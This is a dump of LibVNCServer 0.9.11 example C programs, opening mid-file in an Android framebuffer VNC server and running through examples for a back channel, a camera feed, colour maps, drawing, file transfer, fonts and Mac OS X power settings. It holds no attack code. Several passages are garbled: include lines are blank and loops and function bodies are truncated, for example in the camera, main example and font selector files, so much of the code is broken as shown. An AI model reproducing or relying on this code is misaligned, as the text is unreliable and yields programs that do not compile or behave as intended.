scrinfo.blue.offset + scrinfo.blue.length - 5; varblock.rfb_xres = scrinfo.yres; varblock.rfb_maxy = scrinfo.xres - 1; } /*****************************************************************************/ void injectKeyEvent(uint16_t code, uint16_t value) { struct input_event ev; memset(&ev, 0, sizeof(ev)); gettimeofday(&ev.time,0); ev.type = EV_KEY; ev.code = code; ev.value = value; if(write(kbdfd, &ev, sizeof(ev)) < 0) { printf("write event failed, %s\n", strerror(errno)); } printf("injectKey (%d, %d)\n", code , value); } static int keysym2scancode(rfbBool down, rfbKeySym key, rfbClientPtr cl) { int scancode = 0; int code = (int)key; if (code>='0' && code<='9') { scancode = (code & 0xF) - 1; if (scancode<0) scancode += 10; scancode += KEY_1; } else if (code>=0xFF50 && code<=0xFF58) { static const uint16_t map[] = { KEY_HOME, KEY_LEFT, KEY_UP, KEY_RIGHT, KEY_DOWN, KEY_SOFT1, KEY_SOFT2, KEY_END, 0 }; scancode = map[code & 0xF]; } else if (code>=0xFFE1 && code<=0xFFEE) { static const uint16_t map[] = { KEY_LEFTSHIFT, KEY_LEFTSHIFT, KEY_COMPOSE, KEY_COMPOSE, KEY_LEFTSHIFT, KEY_LEFTSHIFT, 0,0, KEY_LEFTALT, KEY_RIGHTALT, 0, 0, 0, 0 }; scancode = map[code & 0xF]; } else if ((code>='A' && code<='Z') || (code>='a' && code<='z')) { static const uint16_t map[] = { KEY_A, KEY_B, KEY_C, KEY_D, KEY_E, KEY_F, KEY_G, KEY_H, KEY_I, KEY_J, KEY_K, KEY_L, KEY_M, KEY_N, KEY_O, KEY_P, KEY_Q, KEY_R, KEY_S, KEY_T, KEY_U, KEY_V, KEY_W, KEY_X, KEY_Y, KEY_Z }; scancode = map[(code & 0x5F) - 'A']; } else { switch (code) { case 0x0003: scancode = KEY_CENTER; break; case 0x0020: scancode = KEY_SPACE; break; case 0x0023: scancode = KEY_SHARP; break; case 0x0033: scancode = KEY_SHARP; break; case 0x002C: scancode = KEY_COMMA; break; case 0x003C: scancode = KEY_COMMA; break; case 0x002E: scancode = KEY_DOT; break; case 0x003E: scancode = KEY_DOT; break; case 0x002F: scancode = KEY_SLASH; break; case 0x003F: scancode = KEY_SLASH; break; case 0x0032: scancode = KEY_EMAIL; break; case 0x0040: scancode = KEY_EMAIL; break; case 0xFF08: scancode = KEY_BACKSPACE; break; case 0xFF1B: scancode = KEY_BACK; break; case 0xFF09: scancode = KEY_TAB; break; case 0xFF0D: scancode = KEY_ENTER; break; case 0x002A: scancode = KEY_STAR; break; case 0xFFBE: scancode = KEY_F1; break; // F1 case 0xFFBF: scancode = KEY_F2; break; // F2 case 0xFFC0: scancode = KEY_F3; break; // F3 case 0xFFC5: scancode = KEY_F4; break; // F8 case 0xFFC8: rfbShutdownServer(cl->screen,TRUE); break; // F11 } } return scancode; } static void keyevent(rfbBool down, rfbKeySym key, rfbClientPtr cl) { int scancode; printf("Got keysym: %04x (down=%d)\n", (unsigned int)key, (int)down); if ((scancode = keysym2scancode(down, key, cl))) { injectKeyEvent(scancode, down); } } void injectTouchEvent(int down, int x, int y) { struct input_event ev; // Calculate the final x and y /* Fake touch screen always reports zero */ if (xmin != 0 && xmax != 0 && ymin != 0 && ymax != 0) { x = xmin + (x * (xmax - xmin)) / (scrinfo.xres); y = ymin + (y * (ymax - ymin)) / (scrinfo.yres); } memset(&ev, 0, sizeof(ev)); // Then send a BTN_TOUCH gettimeofday(&ev.time,0); ev.type = EV_KEY; ev.code = BTN_TOUCH; ev.value = down; if(write(touchfd, &ev, sizeof(ev)) < 0) { printf("write event failed, %s\n", strerror(errno)); } // Then send the X gettimeofday(&ev.time,0); ev.type = EV_ABS; ev.code = ABS_X; ev.value = x; if(write(touchfd, &ev, sizeof(ev)) < 0) { printf("write event failed, %s\n", strerror(errno)); } // Then send the Y gettimeofday(&ev.time,0); ev.type = EV_ABS; ev.code = ABS_Y; ev.value = y; if(write(touchfd, &ev, sizeof(ev)) < 0) { printf("write event failed, %s\n", strerror(errno)); } // Finally send the SYN gettimeofday(&ev.time,0); ev.type = EV_SYN; ev.code = 0; ev.value = 0; if(write(touchfd, &ev, sizeof(ev)) < 0) { printf("write event failed, %s\n", strerror(errno)); } printf("injectTouchEvent (x=%d, y=%d, down=%d)\n", x , y, down); } static void ptrevent(int buttonMask, int x, int y, rfbClientPtr cl) { /* Indicates either pointer movement or a pointer button press or release. The pointer is now at (x-position, y-position), and the current state of buttons 1 to 8 are represented by bits 0 to 7 of button-mask respectively, 0 meaning up, 1 meaning down (pressed). On a conventional mouse, buttons 1, 2 and 3 correspond to the left, middle and right buttons on the mouse. On a wheel mouse, each step of the wheel upwards is represented by a press and release of button 4, and each step downwards is represented by a press and release of button 5. From: http://www.vislab.usyd.edu.au/blogs/index.php/2009/05/22/an-headerless-indexed-protocol-for-input-1?blog=61 */ //printf("Got ptrevent: %04x (x=%d, y=%d)\n", buttonMask, x, y); if(buttonMask & 1) { // Simulate left mouse event as touch event injectTouchEvent(1, x, y); injectTouchEvent(0, x, y); } } #define PIXEL_FB_TO_RFB(p,r,g,b) ((p>>r)&0x1f001f)|(((p>>g)&0x1f001f)<<5)|(((p>>b)&0x1f001f)<<10) static void update_screen(void) { unsigned int *f, *c, *r; int x, y; varblock.min_i = varblock.min_j = 9999; varblock.max_i = varblock.max_j = -1; f = (unsigned int *)fbmmap; /* -> framebuffer */ c = (unsigned int *)fbbuf; /* -> compare framebuffer */ r = (unsigned int *)vncbuf; /* -> remote framebuffer */ for (y = 0; y < scrinfo.yres; y++) { /* Compare every 2 pixels at a time, assuming that changes are likely * in pairs. */ for (x = 0; x < scrinfo.xres; x += 2) { unsigned int pixel = *f; if (pixel != *c) { *c = pixel; /* XXX: Undo the checkered pattern to test the efficiency * gain using hextile encoding. */ if (pixel == 0x18e320e4 || pixel == 0x20e418e3) pixel = 0x18e318e3; *r = PIXEL_FB_TO_RFB(pixel, varblock.r_offset, varblock.g_offset, varblock.b_offset); if (x < varblock.min_i) varblock.min_i = x; else { if (x > varblock.max_i) varblock.max_i = x; if (y > varblock.max_j) varblock.max_j = y; else if (y < varblock.min_j) varblock.min_j = y; } } f++, c++; r++; } } if (varblock.min_i < 9999) { if (varblock.max_i < 0) varblock.max_i = varblock.min_i; if (varblock.max_j < 0) varblock.max_j = varblock.min_j; fprintf(stderr, "Dirty page: %dx%d+%d+%d...\n", (varblock.max_i+2) - varblock.min_i, (varblock.max_j+1) - varblock.min_j, varblock.min_i, varblock.min_j); rfbMarkRectAsModified(vncscr, varblock.min_i, varblock.min_j, varblock.max_i + 2, varblock.max_j + 1); rfbProcessEvents(vncscr, 10000); } } /*****************************************************************************/ void print_usage(char **argv) { printf("%s [-k device] [-t device] [-h]\n" "-k device: keyboard device node, default is /dev/input/event3\n" "-t device: touch device node, default is /dev/input/event1\n" "-h : print this help\n"); } int main(int argc, char **argv) { if(argc > 1) { int i=1; while(i < argc) { if(*argv[i] == '-') { switch(*(argv[i] + 1)) { case 'h': print_usage(argv); exit(0); break; case 'k': i++; strcpy(KBD_DEVICE, argv[i]); break; case 't': i++; strcpy(TOUCH_DEVICE, argv[i]); break; } } i++; } } printf("Initializing framebuffer device " FB_DEVICE "...\n"); init_fb(); printf("Initializing keyboard device %s ...\n", KBD_DEVICE); init_kbd(); printf("Initializing touch device %s ...\n", TOUCH_DEVICE); init_touch(); printf("Initializing VNC server:\n"); printf(" width: %d\n", (int)scrinfo.xres); printf(" height: %d\n", (int)scrinfo.yres); printf(" bpp: %d\n", (int)scrinfo.bits_per_pixel); printf(" port: %d\n", (int)VNC_PORT); init_fb_server(argc, argv); /* Implement our own event loop to detect changes in the framebuffer. */ while (1) { while (vncscr->clientHead == NULL) rfbProcessEvents(vncscr, 100000); rfbProcessEvents(vncscr, 100000); update_screen(); } printf("Cleaning up...\n"); cleanup_fb(); cleanup_kdb(); cleanup_touch(); } libvncserver-LibVNCServer-0.9.11/examples/backchannel.c000066400000000000000000000062171303145525000227670ustar00rootroot00000000000000#include /** * @example backchannel.c * This is a simple example demonstrating a protocol extension. * * The "back channel" permits sending commands between client and server. * It works by sending plain text messages. * * As suggested in the RFB protocol, the back channel is enabled by asking * for a "pseudo encoding", and enabling the back channel on the client side * as soon as it gets a back channel message from the server. * * This implements the server part. * * Note: If you design your own extension and want it to be useful for others, * too, you should make sure that * * - your server as well as your client can speak to other clients and * servers respectively (i.e. they are nice if they are talking to a * program which does not know about your extension). * * - if the machine is little endian, all 16-bit and 32-bit integers are * swapped before they are sent and after they are received. * */ #define rfbBackChannel 155 typedef struct backChannelMsg { uint8_t type; uint8_t pad1; uint16_t pad2; uint32_t size; } backChannelMsg; rfbBool enableBackChannel(rfbClientPtr cl, void** data, int encoding) { if(encoding == rfbBackChannel) { backChannelMsg msg; const char* text="Server acknowledges back channel encoding\n"; uint32_t length = strlen(text)+1; int n; rfbLog("Enabling the back channel\n"); msg.type = rfbBackChannel; msg.size = Swap32IfLE(length); if((n = rfbWriteExact(cl, (char*)&msg, sizeof(msg))) <= 0 || (n = rfbWriteExact(cl, text, length)) <= 0) { rfbLogPerror("enableBackChannel: write"); } return TRUE; } return FALSE; } static rfbBool handleBackChannelMessage(rfbClientPtr cl, void* data, const rfbClientToServerMsg* message) { if(message->type == rfbBackChannel) { backChannelMsg msg; char* text; int n; if((n = rfbReadExact(cl, ((char*)&msg)+1, sizeof(backChannelMsg)-1)) <= 0) { if(n != 0) rfbLogPerror("handleBackChannelMessage: read"); rfbCloseClient(cl); return TRUE; } msg.size = Swap32IfLE(msg.size); if((text = malloc(msg.size)) == NULL) { rfbErr("Could not allocate %d bytes\n", msg.size); return TRUE; } if((n = rfbReadExact(cl, text, msg.size)) <= 0) { if(n != 0) rfbLogPerror("handleBackChannelMessage: read"); rfbCloseClient(cl); return TRUE; } rfbLog("got message:\n%s\n", text); free(text); return TRUE; } return FALSE; } static int backChannelEncodings[] = {rfbBackChannel, 0}; static rfbProtocolExtension backChannelExtension = { NULL, /* newClient */ NULL, /* init */ backChannelEncodings, /* pseudoEncodings */ enableBackChannel, /* enablePseudoEncoding */ handleBackChannelMessage, /* handleMessage */ NULL, /* close */ NULL, /* usage */ NULL, /* processArgument */ NULL /* next extension */ }; int main(int argc,char** argv) { rfbScreenInfoPtr server; rfbRegisterProtocolExtension(&backChannelExtension); server=rfbGetScreen(&argc,argv,400,300,8,3,4); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*4); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); } libvncserver-LibVNCServer-0.9.11/examples/blooptest.c000066400000000000000000000000621303145525000225410ustar00rootroot00000000000000#define BACKGROUND_LOOP_TEST #include "example.c" libvncserver-LibVNCServer-0.9.11/examples/camera.c000066400000000000000000000111001303145525000217510ustar00rootroot00000000000000 /** * @example camera.c * Question: I need to display a live camera image via VNC. Until now I just * grab an image, set the rect to modified and do a 0.1 s sleep to give the * system time to transfer the data. * This is obviously a solution which doesn't scale very well to different * connection speeds/cpu horsepowers, so I wonder if there is a way for the * server application to determine if the updates have been sent. This would * cause the live image update rate to always be the maximum the connection * supports while avoiding excessive loads. * * Thanks in advance, * * * Christian Daschill * * * Answer: Originally, I thought about using separate threads and using a * mutex to determine when the frame buffer was being accessed by any client * so we could determine a safe time to take a picture. The probem is, we * are lock-stepping everything with framebuffer access. Why not be a * single-thread application and in-between rfbProcessEvents perform a * camera snapshot. And this is what I do here. It guarantees that the * clients have been serviced before taking another picture. * * The downside to this approach is that the more clients you have, there is * less time available for you to service the camera equating to reduced * frame rate. (or, your clients are on really slow links). Increasing your * systems ethernet transmit queues may help improve the overall performance * as the libvncserver should not stall on transmitting to any single * client. * * Another solution would be to provide a separate framebuffer for each * client and use mutexes to determine if any particular client is ready for * a snapshot. This way, your not updating a framebuffer for a slow client * while it is being transferred. */ #include #include #include #include #define WIDTH 640 #define HEIGHT 480 #define BPP 4 /* 15 frames per second (if we can) */ #define PICTURE_TIMEOUT (1.0/15.0) /* * throttle camera updates */ int TimeToTakePicture() { static struct timeval now={0,0}, then={0,0}; double elapsed, dnow, dthen; gettimeofday(&now,NULL); dnow = now.tv_sec + (now.tv_usec /1000000.0); dthen = then.tv_sec + (then.tv_usec/1000000.0); elapsed = dnow - dthen; if (elapsed > PICTURE_TIMEOUT) memcpy((char *)&then, (char *)&now, sizeof(struct timeval)); return elapsed > PICTURE_TIMEOUT; } /* * simulate grabbing a picture from some device */ int TakePicture(unsigned char *buffer) { static int last_line=0, fps=0, fcount=0; int line=0; int i,j; struct timeval now; /* * simulate grabbing data from a device by updating the entire framebuffer */ for(j=0;j=HEIGHT) line=HEIGHT-1; memset(&buffer[(WIDTH * BPP) * line], 0, (WIDTH * BPP)); /* frames per second (informational only) */ fcount++; if (last_line > line) { fps = fcount; fcount = 0; } last_line = line; fprintf(stderr,"%03d/%03d Picture (%03d fps)\r", line, HEIGHT, fps); /* success! We have a new picture! */ return (1==1); } /* * Single-threaded application that interleaves client servicing with taking * pictures from the camera. This way, we do not update the framebuffer * while an encoding is working on it too (banding, and image artifacts). */ int main(int argc,char** argv) { long usec; rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,WIDTH,HEIGHT,8,3,BPP); if(!server) return 0; server->desktopName = "Live Video Feed Example"; server->frameBuffer=(char*)malloc(WIDTH*HEIGHT*BPP); server->alwaysShared=(1==1); /* Initialize the server */ rfbInitServer(server); /* Loop, processing clients and taking pictures */ while (rfbIsActive(server)) { if (TimeToTakePicture()) if (TakePicture((unsigned char *)server->frameBuffer)) rfbMarkRectAsModified(server,0,0,WIDTH,HEIGHT); usec = server->deferUpdateTime*1000; rfbProcessEvents(server,usec); } return(0); } libvncserver-LibVNCServer-0.9.11/examples/colourmaptest.c000066400000000000000000000012741303145525000234350ustar00rootroot00000000000000#include int main(int argc,char** argv) { int i; uint8_t bytes[256*3]; rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,256,256,8,1,1); if(!server) return 0; server->serverFormat.trueColour=FALSE; server->colourMap.count=256; server->colourMap.is16=FALSE; for(i=0;i<256;i++) { bytes[i*3+0]=255-i; /* red */ bytes[i*3+1]=0; /* green */ bytes[i*3+2]=i; /* blue */ } bytes[128*3+0]=0xff; bytes[128*3+1]=0; bytes[128*3+2]=0; server->colourMap.data.bytes=bytes; server->frameBuffer=(char*)malloc(256*256); for(i=0;i<256*256;i++) server->frameBuffer[i]=(i/256); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); } libvncserver-LibVNCServer-0.9.11/examples/example.c000066400000000000000000000227651303145525000221770ustar00rootroot00000000000000/** * @example example.c * This is an example of how to use libvncserver. * * libvncserver example * Copyright (C) 2001 Johannes E. Schindelin * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef WIN32 #define sleep Sleep #else #include #endif #ifdef __IRIX__ #include #endif #include #include static const int bpp=4; static int maxx=800, maxy=600; /* TODO: odd maxx doesn't work (vncviewer bug) */ /* This initializes a nice (?) background */ static void initBuffer(unsigned char* buffer) { int i,j; for(j=0;jclientData); cl->clientData = NULL; } static enum rfbNewClientAction newclient(rfbClientPtr cl) { cl->clientData = (void*)calloc(sizeof(ClientData),1); cl->clientGoneHook = clientgone; return RFB_CLIENT_ACCEPT; } /* switch to new framebuffer contents */ static void newframebuffer(rfbScreenInfoPtr screen, int width, int height) { unsigned char *oldfb, *newfb; maxx = width; maxy = height; oldfb = (unsigned char*)screen->frameBuffer; newfb = (unsigned char*)malloc(maxx * maxy * bpp); initBuffer(newfb); rfbNewFramebuffer(screen, (char*)newfb, maxx, maxy, 8, 3, bpp); free(oldfb); /*** FIXME: Re-install cursor. ***/ } /* aux function to draw a line */ static void drawline(unsigned char* buffer,int rowstride,int bpp,int x1,int y1,int x2,int y2) { int i,j; i=x1-x2; j=y1-y2; if(i==0 && j==0) { for(i=0;iy2) { i=y2; y2=y1; y1=i; i=x2; x2=x1; x1=i; } for(j=y1;j<=y2;j++) for(i=0;ix2) { i=y2; y2=y1; y1=i; i=x2; x2=x1; x1=i; } for(i=x1;i<=x2;i++) for(j=0;jclientData; if(x>=0 && y>=0 && xoldButton==buttonMask) { /* draw a line */ drawline((unsigned char*)cl->screen->frameBuffer,cl->screen->paddedWidthInBytes,bpp, x,y,cd->oldx,cd->oldy); x1=x; y1=y; if(x1>cd->oldx) x1++; else cd->oldx++; if(y1>cd->oldy) y1++; else cd->oldy++; rfbMarkRectAsModified(cl->screen,x,y,cd->oldx,cd->oldy); } else { /* draw a point (diameter depends on button) */ int w=cl->screen->paddedWidthInBytes; x1=x-buttonMask; if(x1<0) x1=0; x2=x+buttonMask; if(x2>maxx) x2=maxx; y1=y-buttonMask; if(y1<0) y1=0; y2=y+buttonMask; if(y2>maxy) y2=maxy; for(i=x1*bpp;iscreen->frameBuffer[j*w+i]=(char)0xff; rfbMarkRectAsModified(cl->screen,x1,y1,x2,y2); } /* we could get a selection like that: rfbGotXCutText(cl->screen,"Hallo",5); */ } else cd->oldButton=0; cd->oldx=x; cd->oldy=y; cd->oldButton=buttonMask; } rfbDefaultPtrAddEvent(buttonMask,x,y,cl); } /* aux function to draw a character to x, y */ #include "radon.h" /* Here the key events are handled */ static void dokey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down) { if(key==XK_Escape) rfbCloseClient(cl); else if(key==XK_F12) /* close down server, disconnecting clients */ rfbShutdownServer(cl->screen,TRUE); else if(key==XK_F11) /* close down server, but wait for all clients to disconnect */ rfbShutdownServer(cl->screen,FALSE); else if(key==XK_Page_Up) { initBuffer((unsigned char*)cl->screen->frameBuffer); rfbMarkRectAsModified(cl->screen,0,0,maxx,maxy); } else if (key == XK_Up) { if (maxx < 1024) { if (maxx < 800) { newframebuffer(cl->screen, 800, 600); } else { newframebuffer(cl->screen, 1024, 768); } } } else if(key==XK_Down) { if (maxx > 640) { if (maxx > 800) { newframebuffer(cl->screen, 800, 600); } else { newframebuffer(cl->screen, 640, 480); } } } else if(key>=' ' && key<0x100) { ClientData* cd=cl->clientData; int x1=cd->oldx,y1=cd->oldy,x2,y2; cd->oldx+=rfbDrawCharWithClip(cl->screen,&radonFont,cd->oldx,cd->oldy,(char)key,0,0,cl->screen->width,cl->screen->height,0x00ffffff,0x00ffffff); rfbFontBBox(&radonFont,(char)key,&x1,&y1,&x2,&y2); rfbMarkRectAsModified(cl->screen,x1,y1,x2-1,y2-1); } } } /* Example for an XCursor (foreground/background only) */ #ifdef JUST_AN_EXAMPLE static int exampleXCursorWidth=9,exampleXCursorHeight=7; static char exampleXCursor[]= " " " xx xx " " xx xx " " xxx " " xx xx " " xx xx " " "; #endif /* Example for a rich cursor (full-colour) */ static void MakeRichCursor(rfbScreenInfoPtr rfbScreen) { int i,j,w=32,h=32; rfbCursorPtr c = rfbScreen->cursor; char bitmap[]= " " " xxxxxx " " xxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxx " " xxxxx xxxxxxxx xxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxx xxxxxxxxxxx xxxxxxx " " xxxx xxxxxxxxx xxxxxx " " xxxxx xxxxxxxxxxx xxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxx xxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxx xxxxxxxxxxxxxx " " xxxxxxxxxx xxxxxxxxxxxx " " xxxxxxxxx xxxxxxxxx " " xxxxxxxxxx xxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxx " " xxxx xxxxxxxxxxxxx " " xx x xxxxxxxxxxx " " xxx xxxxxxxxxxx " " xxxx xxxxxxxxxxx " " xxxxxx xxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxx " " "; c=rfbScreen->cursor = rfbMakeXCursor(w,h,bitmap,bitmap); c->xhot = 16; c->yhot = 24; c->richSource = (unsigned char*)malloc(w*h*bpp); c->cleanupRichSource = TRUE; for(j=0;jrichSource[j*w*bpp+i*bpp+0]=i*0xff/w; c->richSource[j*w*bpp+i*bpp+1]=(i+j)*0xff/(w+h); c->richSource[j*w*bpp+i*bpp+2]=j*0xff/h; c->richSource[j*w*bpp+i*bpp+3]=0; } } } /* Initialization */ int main(int argc,char** argv) { rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); if(!rfbScreen) return 0; rfbScreen->desktopName = "LibVNCServer Example"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->alwaysShared = TRUE; rfbScreen->ptrAddEvent = doptr; rfbScreen->kbdAddEvent = dokey; rfbScreen->newClientHook = newclient; rfbScreen->httpDir = "../webclients"; rfbScreen->httpEnableProxyConnect = TRUE; initBuffer((unsigned char*)rfbScreen->frameBuffer); rfbDrawString(rfbScreen,&radonFont,20,100,"Hello, World!",0xffffff); /* This call creates a mask and then a cursor: */ /* rfbScreen->defaultCursor = rfbMakeXCursor(exampleCursorWidth,exampleCursorHeight,exampleCursor,0); */ MakeRichCursor(rfbScreen); /* initialize the server */ rfbInitServer(rfbScreen); #ifndef BACKGROUND_LOOP_TEST #ifdef USE_OWN_LOOP { int i; for(i=0;rfbIsActive(rfbScreen);i++) { fprintf(stderr,"%d\r",i); rfbProcessEvents(rfbScreen,100000); } } #else /* this is the blocking event loop, i.e. it never returns */ /* 40000 are the microseconds to wait on select(), i.e. 0.04 seconds */ rfbRunEventLoop(rfbScreen,40000,FALSE); #endif /* OWN LOOP */ #else #if !defined(LIBVNCSERVER_HAVE_LIBPTHREAD) #error "I need pthreads for that." #endif /* this is the non-blocking event loop; a background thread is started */ rfbRunEventLoop(rfbScreen,-1,TRUE); fprintf(stderr, "Running background loop...\n"); /* now we could do some cool things like rendering in idle time */ while(1) sleep(5); /* render(); */ #endif /* BACKGROUND_LOOP */ free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); } libvncserver-LibVNCServer-0.9.11/examples/filetransfer.c000066400000000000000000000006561303145525000232230ustar00rootroot00000000000000/** * @example filetransfer.c */ #include int main(int argc,char** argv) { rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,8,3,4); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*4); rfbRegisterTightVNCFileTransferExtension(); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); } libvncserver-LibVNCServer-0.9.11/examples/fontsel.c000066400000000000000000000033641303145525000222100ustar00rootroot00000000000000#include #define FONTDIR "/usr/lib/kbd/consolefonts/" #define DEFAULTFONT FONTDIR "default8x16" static char *fontlist[50]={ "8x16alt", "b.fnt", "c.fnt", "default8x16", "m.fnt", "ml.fnt", "mod_d.fnt", "mod_s.fnt", "mr.fnt", "mu.fnt", "r.fnt", "rl.fnt", "ro.fnt", "s.fnt", "sc.fnt", "scrawl_s.fnt", "scrawl_w.fnt", "sd.fnt", "t.fnt", NULL }; static rfbScreenInfoPtr rfbScreen = NULL; static rfbFontDataPtr curFont = NULL; static void showFont(int index) { char buffer[1024]; if(!rfbScreen) return; if(curFont) rfbFreeFont(curFont); strcpy(buffer,FONTDIR); strcat(buffer,fontlist[index]); curFont = rfbLoadConsoleFont(buffer); rfbFillRect(rfbScreen,210,30-20,210+10*16,30-20+256*20/16,0xb77797); if(curFont) { int i,j; for(j=0;j<256;j+=16) for(i=0;i<16;i++) rfbDrawCharWithClip(rfbScreen,curFont,210+10*i,30+j*20/16,j+i, 0,0,640,480,0xffffff,0x000000); } } int main(int argc,char** argv) { rfbFontDataPtr font; rfbScreenInfoPtr s=rfbGetScreen(&argc,argv,640,480,8,3,3); int i,j; if(!s) return 0; s->frameBuffer=(char*)malloc(640*480*3); rfbInitServer(s); for(j=0;j<480;j++) for(i=0;i<640;i++) { s->frameBuffer[(j*640+i)*3+0]=j*256/480; s->frameBuffer[(j*640+i)*3+1]=i*256/640; s->frameBuffer[(j*640+i)*3+2]=(i+j)*256/(480+640); } rfbScreen = s; font=rfbLoadConsoleFont(DEFAULTFONT); if(!font) { rfbErr("Couldn't find %s\n",DEFAULTFONT); exit(1); } for(j=0;j<0 && rfbIsActive(s);j++) rfbProcessEvents(s,900000); i = rfbSelectBox(s,font,fontlist,10,20,200,300,0xffdfdf,0x602040,2,showFont); rfbLog("Selection: %d: %s\n",i,(i>=0)?fontlist[i]:"cancelled"); rfbFreeFont(font); free(s->frameBuffer); rfbScreenCleanup(s); return(0); } libvncserver-LibVNCServer-0.9.11/examples/mac.c000066400000000000000000000374121303145525000212770ustar00rootroot00000000000000 /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * Cut in two parts by Johannes Schindelin (2001): libvncserver and OSXvnc. * * * This file implements every system specific function for Mac OS X. * * It includes the keyboard functions: * void KbdAddEvent(down, keySym, cl) rfbBool down; rfbKeySym keySym; rfbClientPtr cl; void KbdReleaseAllKeys() * * the mouse functions: * void PtrAddEvent(buttonMask, x, y, cl) int buttonMask; int x; int y; rfbClientPtr cl; * */ #include #include #include /* zlib doesn't like Byte already defined */ #undef Byte #undef TRUE #undef rfbBool #include #include #include #include #include #include #include rfbBool rfbNoDimming = FALSE; rfbBool rfbNoSleep = TRUE; static pthread_mutex_t dimming_mutex; static unsigned long dim_time; static unsigned long sleep_time; static mach_port_t master_dev_port; static io_connect_t power_mgt; static rfbBool initialized = FALSE; static rfbBool dim_time_saved = FALSE; static rfbBool sleep_time_saved = FALSE; static int saveDimSettings(void) { if (IOPMGetAggressiveness(power_mgt, kPMMinutesToDim, &dim_time) != kIOReturnSuccess) return -1; dim_time_saved = TRUE; return 0; } static int restoreDimSettings(void) { if (!dim_time_saved) return -1; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim, dim_time) != kIOReturnSuccess) return -1; dim_time_saved = FALSE; dim_time = 0; return 0; } static int saveSleepSettings(void) { if (IOPMGetAggressiveness(power_mgt, kPMMinutesToSleep, &sleep_time) != kIOReturnSuccess) return -1; sleep_time_saved = TRUE; return 0; } static int restoreSleepSettings(void) { if (!sleep_time_saved) return -1; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep, sleep_time) != kIOReturnSuccess) return -1; sleep_time_saved = FALSE; sleep_time = 0; return 0; } int rfbDimmingInit(void) { pthread_mutex_init(&dimming_mutex, NULL); if (IOMasterPort(bootstrap_port, &master_dev_port) != kIOReturnSuccess) return -1; if (!(power_mgt = IOPMFindPowerManagement(master_dev_port))) return -1; if (rfbNoDimming) { if (saveDimSettings() < 0) return -1; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim, 0) != kIOReturnSuccess) return -1; } if (rfbNoSleep) { if (saveSleepSettings() < 0) return -1; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep, 0) != kIOReturnSuccess) return -1; } initialized = TRUE; return 0; } int rfbUndim(void) { int result = -1; pthread_mutex_lock(&dimming_mutex); if (!initialized) goto DONE; if (!rfbNoDimming) { if (saveDimSettings() < 0) goto DONE; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToDim, 0) != kIOReturnSuccess) goto DONE; if (restoreDimSettings() < 0) goto DONE; } if (!rfbNoSleep) { if (saveSleepSettings() < 0) goto DONE; if (IOPMSetAggressiveness(power_mgt, kPMMinutesToSleep, 0) != kIOReturnSuccess) goto DONE; if (restoreSleepSettings() < 0) goto DONE; } result = 0; DONE: pthread_mutex_unlock(&dimming_mutex); return result; } int rfbDimmingShutdown(void) { int result = -1; if (!initialized) goto DONE; pthread_mutex_lock(&dimming_mutex); if (dim_time_saved) if (restoreDimSettings() < 0) goto DONE; if (sleep_time_saved) if (restoreSleepSettings() < 0) goto DONE; result = 0; DONE: pthread_mutex_unlock(&dimming_mutex); return result; } rfbScreenInfoPtr rfbScreen; void rfbShutdown(rfbClientPtr cl); /* some variables to enable special behaviour */ int startTime = -1, maxSecsToConnect = 0; rfbBool disconnectAfterFirstClient = TRUE; /* Where do I get the "official" list of Mac key codes? Ripped these out of a Mac II emulator called Basilisk II that I found on the net. */ static int keyTable[] = { /* The alphabet */ XK_A, 0, /* A */ XK_B, 11, /* B */ XK_C, 8, /* C */ XK_D, 2, /* D */ XK_E, 14, /* E */ XK_F, 3, /* F */ XK_G, 5, /* G */ XK_H, 4, /* H */ XK_I, 34, /* I */ XK_J, 38, /* J */ XK_K, 40, /* K */ XK_L, 37, /* L */ XK_M, 46, /* M */ XK_N, 45, /* N */ XK_O, 31, /* O */ XK_P, 35, /* P */ XK_Q, 12, /* Q */ XK_R, 15, /* R */ XK_S, 1, /* S */ XK_T, 17, /* T */ XK_U, 32, /* U */ XK_V, 9, /* V */ XK_W, 13, /* W */ XK_X, 7, /* X */ XK_Y, 16, /* Y */ XK_Z, 6, /* Z */ XK_a, 0, /* a */ XK_b, 11, /* b */ XK_c, 8, /* c */ XK_d, 2, /* d */ XK_e, 14, /* e */ XK_f, 